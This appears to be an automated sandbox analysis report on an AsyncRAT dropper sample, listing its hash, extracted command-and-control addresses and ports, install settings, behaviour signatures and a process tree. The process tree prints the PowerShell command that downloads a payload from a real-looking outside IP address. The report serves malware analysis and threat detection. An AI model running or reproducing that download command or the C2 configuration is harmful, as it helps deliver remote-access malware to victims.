Analysis
- max time kernel
148s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
28/01/2025, 06:27
General
- Target Project7-Signed(1).exe
- Size 87KB
- Sample250128-g7rddszrem
- SHA256 c8125da7bb61057ae54927bfbe57d59f8c3d7a85b3ee2a67aca57cbba9e4cae9
Malware Config
Extracted
-
ps1
-
exe.dropper
http://149.88.66.68/test.mp3
Extracted
-
asyncrat
-
127.0.0.1:5419
-
127.0.0.1:5418
-
127.0.0.1:13792
-
123.99.198.130:5419
-
123.99.198.130:5418
-
123.99.198.130:13792
-
delay
1
-
install
true
-
install_file
1.exe
-
install_folder
%AppData%
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Asyncrat family
- Async RAT payload 1 IoCs
- Blocklisted process makes network request 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Project7-Signed(1).exe"C:\Users\Admin\AppData\Local\Temp\Project7-Signed(1).exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell(new-object System.Net.WebClient).DownloadFile('http://149.88.66.68/test.mp3','%Temp%/test.bin')2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell (new-object System.Net.WebClient).DownloadFile('http://149.88.66.68/test.mp3','C:\Users\Admin\AppData\Local\Temp/test.bin')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_0bijndo2.ofj.ps1
test.bin
memory/216-22-0x00007FF868440000-0x00007FF868F01000-memory.dmp
memory/216-23-0x00007FF868440000-0x00007FF868F01000-memory.dmp
memory/216-26-0x00007FF868440000-0x00007FF868F01000-memory.dmp
memory/216-25-0x00007FF868440000-0x00007FF868F01000-memory.dmp
memory/216-24-0x00007FF868443000-0x00007FF868445000-memory.dmp
memory/216-18-0x000001BE4B980000-0x000001BE4B999000-memory.dmp
memory/216-19-0x00007FF868443000-0x00007FF868445000-memory.dmp
memory/216-20-0x000001BE4BA60000-0x000001BE4BA76000-memory.dmp
memory/216-21-0x00007FF868440000-0x00007FF868F01000-memory.dmp
memory/2108-1-0x0000021E2FAD0000-0x0000021E2FAF2000-memory.dmp
memory/2108-0-0x00007FF868443000-0x00007FF868445000-memory.dmp
memory/2108-11-0x00007FF868440000-0x00007FF868F01000-memory.dmp
memory/2108-16-0x00007FF868440000-0x00007FF868F01000-memory.dmp
memory/2108-12-0x00007FF868440000-0x00007FF868F01000-memory.dmp